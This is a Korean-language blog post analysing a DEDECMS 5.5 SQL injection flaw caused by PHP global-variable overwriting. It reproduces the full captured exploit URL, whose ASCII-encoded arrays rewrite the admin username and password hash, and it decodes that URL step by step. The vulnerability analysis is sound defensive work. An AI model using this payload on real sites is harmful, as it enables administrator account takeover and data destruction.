※ 질문/내용오류/공유할 내용이 있다면 jinkilee73@gmail.com으로 메일 주세요 :-)
시작은 이러하다. 어느 날 갑자기 회사 메일로 온 메일의 제목이 나의 궁금증을 자극한다.
“~~~ 분석해보세요”
메일의 내용은 중국에서 굉장히 널리 사용되고 있는 DEDECMS라는 오픈 소스 CMS(Content Management Server) Application에 대한 취약점이었다. 언뜻 보기에는 Buffer-Overflow 취약점을 노린 것처럼 무언가 긴 문자열을 가지고 무언가를 한 것 같다.
백문이 불여일견!! 오픈 소스이니까 간단하게 다운 받아서 코드 전체적으로 보면서 분석을 시작해봤다. 우선 공격을 전체적으로 이해하려면 배경 지식으로 PHP코드에 대한 대략적인 이해가 필요하다. 또한 SQL을 조작하는 방법도 알아야 한다. 무작정 공격 구문부터 보지 말고 배경 지식에 대해서 이야기 해보자.
PHP 코드 이해는 사실 조금만 공부하면 그렇게 어렵지 않다. C와 같은 상당히 low level적인 high level언어와 비교하면 쉬운 언어일 수도 있다. (이렇게 말하는 나는 염치없게 PHP 코딩을 잘 하지 못 한다.) 이번 취약점을 이해하기 위해 반드시 이해할 수 있는 코드는 아래와 같다. PHP global 변수를 선언하는 방법에 대한 코드이다.
PHP에서 global 변수는 두 가지 방법으로 정의할 수 있다.
$arrs1 = 1;
$GLOBAL[arrs1] = 1;
두 방법 모두 global 변수 arrs1을 정의한다. 위의 코드에서 $v1은 arrs1으로, $v2는 임의의 값(hacker’s value)로 정의되어있다. 그리고 나서 $GLOBAL[$v1] .= $v2 이런 코드가 나오는데, 이는 결국 arrs1의 값에 $v2값을 잇겠다는 말이 된다. 그런데 애초에 $arrs1은 선언이 안 되어있었으니 결국 $arrs1의 값은 $v2가 되어버린다. 위의 코드를 실행해보면 아래와 같은 결과를 얻는다.
그 다음 이해할 내용은 SQL Query에 대한 간략한 이해이다. SQL 전부를 이야기 하기에는 너무 많으므로 이번 공격자가 악의적인 의도로 삽입한 내용인 아래의 Query를 이해해보자.
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1;
간단하다. dede_admin이라는 테이블에서 id값이 1인 행(튜플)의 userid와 pwd를 각각 spider, f297a57a5a743894a0e4로 변경하라는 이야기이다.(UPDATE)
또 한 가지 SQL(MYSQL)에서 #의 역할이다. 주석이다. #뒤에 나오는 내용은 그냥 무시된다.
이제 어느 정도 배경 지식을 훑어봤으니 해당 공격에 대한 내용을 더욱 자세하게 들여다보자. 우선 탐지된 공격 로그를 살펴보자.
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
plus/download.php라는 함수에 open 변수를 1로 세팅한 상태에서 arrs1과 arrs2 배열을 어떤 숫자로 채워서 요청을 했다. 그러면 우선 plus/download.php를 보자.
open=1일 때 수행되는 if문장이 있다. 차례대로 분석해보면 $id값은 기존의 $id값을 갖든지 0이 되든지 둘 중에 하나고, $link는 기존의 $link값을 urldecode한 후 base64로 decoding한 값이 된다. 그렇게 나온 값의 hash값을 또 구한다. 그리고 ExecuteNoneQuery2()를 통해서 Update 쿼리를 실행한다. ExecuteNoneQuery2()를 보면 아래와 같다.
여기서 함수가 호출될 때 파라미터 $sql가 공백이 아닌 어떤 값으로 선언이 되어있기 때문에 197줄의 if문이 실행이 된다. 그러면 SetQuery함수를 호출하는데 그 함수는 아래와 같이 선언되어 있다.
여기서 중요한 부분이 나온다. 애초에 전달되었던 쿼리인 Update `#@__downloads` set downloads = downloads + 1 where hash='$hash' 에서 #@__값이 this->dbPrefix라는 값으로 바뀐다는 것이다. dbPrefix는 무엇인가?! 아래와 같다.
$cfg_dbprefix라는 global 변수로 바뀐다는 것이다. 이 값은 사실 DEDECMS를 설치해봐야 정확히 알 수 있다. 설치를 해보면 다음과 같은 값으로 세팅되어 있음을 알 수 있다.
즉, 정상적으로 접근하는 것이라면 Update `#@__downloads` set downloads = downloads + 1 where hash='$hash' 는 Update `dede_downloads` set downloads = downloads + 1 where hash='$hash' 와 같은 SQL Query문으로 변경되어 최종적으로 ExecuteNoneQuery2() 하단에 있는 mysql_query 함수에 의해 실행이 되는 것이다. 실제로 mysql에서 테이블을 조회해보면 아래와 같은 테이블을 볼 수 있다.
전부 dede_로 시작한다. 그래서 #@__를 dede_라는 값으로 치환해준 것이다.
자, 여기서 중요한 점을 집고 넘어가자 바로 include이다. plus/download.php는 기본적으로 두 개의 php 파일을 include한다. 하나는 common.inc.php이고, 다른 하나는 channelunit.class.php이다.
그런데 common.inc.php파일은 dedesql.class.php 파일을 include하고 있다.
dedesql.class.php파일의 구조는 대략 다음과 같이 되어있다. Dedesql class가 선언되어있고 그 아래 if 문이 선언되어있다.
위의 코드에서 if문은 arrs1의 값이 세팅되어 있는 한 무조건 실행된다. 저 부분을 해커가 이용한 것이다. 이 if문을 통해서 Global 변수를 자기 마음대로 세팅할 수 있다. chr이라는 함수는 숫자를 해당하는 아스키코드 값으로 변경해주는 함수라는 점을 생각해보면 arrs1과 arrs2의 값을 어떻게 선언해주느냐에 따라 $v1과 $v2가 변경될 수 있다. 그런데 21줄에 보면 $GLOBALS[$v1] .= $v2이라고 되어있다. 이 뜻은 예를 들어 $v1값을 cfg_dbprefix 같이 변수의 이름으로 세팅을 해주면 $GLOBALS[cfg_dbprefix] .= $v2가 되어 기존의 설치할 때 선언되었던 $cfg_dbprefix값인 dede__값 뒤에 무언가를 더 이을 수 있게 해준다는 뜻이다.
이제 공격의 윤곽이 잡힌다. 다시 한번 공격 구문을 보되 이번에는 조금 더 쉽게 보자.
http://localhost/plus/download.php?
open=1&
// cfg_dbprefix
arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&
// admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #
arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
arrs1[]의 값을 모두 아스키 코드 값으로 변경하면 cfg_dbprefix가 되고 arrs2[]의 값을 모두 아스키 코드 값으로 변경하면 admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #가 된다.
따라서 기존의 cfg_dbprefix 값이 dede_였다는 점을 고려하면 21번째 줄의 결과로 cfg_dbprefix의 값은 dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #이 된다.
자 이제 다시 SetQuery 함수에 있었던 str_replace($prefix, $GLOBALS[‘cfg_dbprefix’], $sql) 함수를 생각해보자. 이는 곧, Update `#@__downloads` set downloads = downloads + 1 where hash='$hash'에서 #@__값을 dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #로 변경하겠다는 뜻이다. 따라서 $sql값은 이렇게 된다.
$sql = Update `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #downloads` set downloads = downloads + 1 where hash='$hash'
와 같이 된다. 그런데 배경 지식 설명할 때 말했듯이, MYSQL에서 #값은 주석이다. 따라서 그 뒤에 있는 downloads` set downloads = downloads + 1 where hash='$hash'은 무시된다. 결국
$sql = Update `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1
위와 같은 무서운 query를 만들어버린다. dede_admin에서 id값이 1인 애들의 userid와 pwd를 각각 spider과 f297a57a5a743894a0e4로 바꾸라는 것인데, 설치할 때 가장 먼저 admin계정을 만들기 때문에 보통 아래와 같이 admin 계정의 id값이 1로 세팅되어 있다.
정상적으로 공격이 실행되면 dede_admin 테이블은 아래와 같이 바뀌어 있을 것이다.
지금까지 공격 방법에 대해서 자세하게 분석해보았다. 굉장히 무서운 공격이다. 로그인 한번 없이 모든 SQL문을 자유 자제로 사용할 수 있게 되기 때문이다. UPDATE ``; DROP TABLE... 이런 식으로 삽입을 하면 테이블 삭제도 가능할 것이다. 따라서 어떻게 수정을 하면 될까? 사실 지금 공격은 DEDECMS 5.5버전에서 유효하다. 현재 최신 버전은 DEDECMS 5.7버전이다. 5.7버전에서는 dedesqli.class.php라는 파일이 추가되어있다. 이 파일의 소스에는 5.5버전에서 문제를 일으켰던 아래의 if문이 없다.
허나 5.7버전에서도 아래와 같이 dedesql.class.php파일을 선택할 수 있는 여지를 남겨두었기 때문에 어떤 똑똑한 해커에 의해 또 다시 dedesql.class.php가 실행될 지도 모르겠다.
이러한 취약점이 나오게 된 원인은 다음과 같이 요약할 수 있다. 우선 global 변수를 특별한 이유 없이 선언해놨다. 문제를 야기시켰던 global 변수인 $arrs1, $arrs2, $v1, $v2는 소스코드 전체에서 검색해 봤을 때 특별하게 쓰이지 않았다.
분석을 마치고 드는 생각은 이러하다. 분석하는데 토요일을 다 보내고 일요일의 절반을 보냈는데 이 정도로 걸릴만한 취약점이었나? 그렇게 생각되지는 않는다. 조금 더 실력을 키워야 할 것 같은 그런 느낌적인 느낌이 드는 주말이었다. '시작하며'에서 말했듯이 취약점에 관한 다음 포스팅은 기한없이 미뤄두겠다. 조만간 TCP/UDP 올라갑니다요
'Vulnerability' 카테고리의 다른 글
[Vul] CVE-2012-1823 Vulnerability (1) | 2014.01.21 |
---|---|
[Vul] Shellcode Execution (4) | 2013.12.30 |
[Vul] Format String Vulnerability (1) | 2013.11.23 |
[Vul] Slowloris DoS Tool (0) | 2013.10.28 |
시작하며... (0) | 2013.08.12 |